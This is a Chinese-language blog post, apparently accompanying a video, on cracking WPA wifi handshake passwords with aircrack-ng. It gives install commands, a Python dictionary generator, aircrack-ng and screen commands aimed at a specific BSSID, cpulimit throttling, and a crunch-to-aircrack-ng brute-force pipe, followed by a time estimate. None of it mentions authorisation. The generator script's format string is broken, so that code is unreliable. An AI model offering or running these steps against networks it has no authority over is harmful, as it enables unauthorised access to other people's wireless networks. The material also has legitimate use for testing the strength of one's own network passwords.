基于aircrack-ng跑无线信号WIFI的握手包密码
apt-get update apt-get install aircrack-ng cpulimit screen crunch
#!/usr/bin/python3 # 从00000000 - 99999999的字典,一共1千万个记录,文件大小约为860MB d = '/root/DICT_8_DIGITAL.txt' end = 100000000 with open(d,'w') as f: for i in range(0,end): f.write("d\n" % i)
screen -dmS SAirCrack aircrack-ng -w ./DICT_8_DIGITAL.txt -b B8:AA:08:10:D1:AA WPA_cap-01.cap
段落1、需求描述
在跑包过程中,可以选择使用密码,可以是自定义密码,也可以不使用字典文件,而是使用随机字符串。
段落2、部署安装
部署和安装过程。
段落3、生成字典
根据实际需求,可以自行生成字典文件。以下是一个包含8位数字的字典文件,大约860MB。密码字典实际上是非常庞大的,如果要全部生成,会占用大量磁盘空间。
段落4、开启跑包
查找进程号 ps -ef | grep aircrack-ng 发现进程号 83623 开启CPU利用限制 screen -dmS SCPULimit cpulimit --pid 83623 --limit 60
crunch 8 15 qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890 | aircrack-ng WPA_cap-01.cap -b B8:AA:08:10:D1:AA -w-
000088. 基于aircrack-ng跑无线信号WIFI的握手包密码,可无需字典文件 2022-4-1 本期博客地址 https://dasmz.com/?p=1749 本期视频地址 https://youtu.be/xFrSVniOJkQ
段落5、开始CPU限制
开始对CPU进行限制。
段落6、无字典,随机字符跑包
使用crunch工具,命令大致如下。由于在云服务器上运行跑包,性能受限,速度较慢,建议使用显卡或者更现代的设备进行跑包,或者根据万能钥匙进行匹配。
随机8位[0-9a-zA-Z]字符的总数为62的8次方个组合,共计218340105584896。假设碰撞速度为180000,使用显卡计算,最多需要38.46年才能碰撞到密码。
计算公式:218340105584896 / 180000 / 3600 / 24 / 365 = 38.46